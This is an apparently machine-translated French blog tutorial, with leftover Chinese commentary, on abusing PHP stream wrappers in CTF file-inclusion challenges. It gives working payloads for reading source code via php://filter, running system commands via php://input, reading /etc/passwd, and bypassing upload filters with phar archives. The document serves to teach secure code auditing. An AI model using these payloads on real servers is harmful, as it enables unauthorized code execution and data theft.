Audit de code PHP 15—Introduction au pseudo-protocole PHP

1. Pseudo-protocole PHP

1. Introduction à l'accord

  • Besoin d'activer allow_url_fopen : php://input, php://stdin, php://memory et php://temp
  • Pas besoin d'activer allow_url_fopen : php://filter

php://filter et php://input sont souvent utilisés dans CTF

  • php://filter est utilisé pour lire des données ou écrire.

    • Lire les données : ?a=php://filter/read=convert.base64-encode/resource=xxx.php
    • Données d'écriture : ?a=php://filter/write=string.rot13/resource=example.txt", "Hello World"
  • php://input nécessite une demande de publication pour soumettre des données, qui est un flux en lecture seule qui peut accéder aux données d'origine de la demande

  • php://output est un flux de données en écriture seule qui vous permet d'écrire dans le tampon de sortie de la même manière que print et echo .

2. Exemple d'utilisation

Exemple 1 : application php://filter/read

if(preg_match("/flag/",$file)){
    
    
        die("Not now!");
    }

    include($file);  //next.php
基本情况:对于传入的file参数,使用正则检测‘flag'字符串,并且在注释中指明了一个next.php,因此可以使用php协议绕过正则检测,并读取源码。先看看源码内容,但是读取到的源码是经过base64编码的,需要解码才能查看。
payload: file=php://filter/read=convert.base64-encode/resource=next.php

Exemple 2 : application php://input

if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
    
    
        include($_GET["file"]);
    } else {
    
    
        echo "Hacker!!!";
    }
基本情况:使用if判断是否设置了file参数,传入的参数内容前六位等于“PHP//"的情况下执行后续代码。因此可以使用PHP://input传入数据,满足相应检测条件。并且利用文件包含达到RCE的效果
payload: 
		url:http://xx.xxx.xxx.xxx:port/?file=php://input
		post_data: <?php system('ls') ?>

2. DATA Pseudo-protocole

1. Introduction à l'accord

Exigences:

  • allow_url_fopen:sur
  • allow_url_include:sur

Rôle : depuis lors, les wrappers de flux de données PHP>=5.2.0peuvent être utilisés pour transmettre des données dans le format correspondant. data://Peut généralement être utilisé pour exécuter du code PHP.

Utilisation simplifiée :

data://text/plain,
data://text/plain;base64,

2. Exemple d'utilisation

Exemple 1:

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
}

基本思路:if判断,需要传入文件变量为text,且要求文件内容为I have a dream。此时,就可以使用data协议上传内容(注意基本需求条件:php>5.2.0,all_url_include=on).也可以考虑使用php://input,只要能上传都可以

payload:   ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

注:“SSBoYXZlIGEgZHJlYW0=” 为 “I have a dream”的base64编码

Trois, pseudo-protocole de fichier

1. Introduction à l'accord

Conditions d'utilisation:

  • allow_url_fopen:éteint allumé
  • allow_url_include:éteint allumé

effet:

​ Utilisé pour accéder au système de fichiers local, qui est généralement utilisé pour lire les fichiers locaux dans CTF et n'est pas affecté allow_url_fopenpar et allow_url_include.

include(),require(),include_once(),require_once()​Lorsque les paramètres .phpun fichier, il sera toujours analysé selon la syntaxe php, qui est include()déterminée par la fonction.

illustrer:

Le système de fichiersfile:// est le wrapper par défaut utilisé par PHP et représente le système de fichiers local. Lorsque vous spécifiez un chemin relatif (un chemin qui ne commence pas par /, , \ ou une lettre de lecteur Windows), le chemin fourni sera basé sur le répertoire de travail actuel. Dans de nombreux cas, le répertoire où réside le script, sauf modification. Lors de l'utilisation de l'interface de ligne de commande, le répertoire par défaut est le répertoire dans lequel le script a été appelé. Dans certaines fonctions, telles que fopen()et file_get_contents(), include_path sont éventuellement recherchés, également en tant que chemins relatifs.

Utilisation simplifiée :

  • linux :?file=file:///etc/passwd
  • windows下:?file=file:///E:\phpStudy\WWW\code\phpinfo.php

Quatre, pseudo-protocole phar

1. Introduction à l'accord

Fonction : Plusieurs fichiers peuvent être classés dans un dossier local, ou un fichier peut être inclus

Fichier PHAR : un fichier PHAR est un format d'emballage qui permet la distribution d'applications et de bibliothèques en regroupant la plupart des fichiers PHP et d'autres ressources, telles que des images, dans une seule archive. Et tous les fichiers PHAR utilisent .phar comme extension de fichier, et l'archive au format PHAR doit utiliser le code php écrit par soi-même.

Structure du fichier PHAR :

  • Stub : un fichier php qui peut amorcer l'archive. Les stubs doivent contenir __HALT_COMPILER();des instructions et le stub par défaut possède la capacité d'exécuter des fichiers PHAR sans l'extension PHAR activée.
  • Manifest décrivant le contenu : le manifeste décrit le contenu de l'archive. Les informations telles que les autorisations et les attributs du fichier compressé sont placées ici.
  • Contenu du fichier : les fichiers originaux contenus dans l'archive, c'est-à-dire le contenu des fichiers compressés.

2. Exemple d'utilisation

Prérequis pour la vulnérabilité :

  • le fichier phar peut être téléchargé
  • Il existe des méthodes magiques qui peuvent être exploitées
  • Les paramètres de la fonction d'opération de fichier sont contrôlables

Exemple 1 : Contournement des restrictions de téléchargement de fichiers

上传代码:
if(!empty($_FILES["file"]))
{
    
    
    echo $_FILE["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
    
    
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
    
    
        echo "upload failed!";
    }
}
文件包含代码:
 if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70){
    
    
 		echo "<p> error! </p>";
        }else{
    
    
            include($file.'.php');
        }
代码分析:设置了后缀白名单,并且对文件类型进行了检测。只有满足上传要求后才能上传成功。在文件包含代码中,利用黑名单策略限制了http、ftp、data等伪协议的使用。

基本方法:使用phar打包php文件后,改phar文件后缀为jpg进行上传,然后使用phar协议+文件包含来利用漏洞。
上传后使用payload: include.php?file=phar://./upload/cmdt.jpg/cmd.php

5. Articles de référence

Je suppose que tu aimes

Origine blog.csdn.net/qq_45590334/article/details/126439639
conseillé
Classement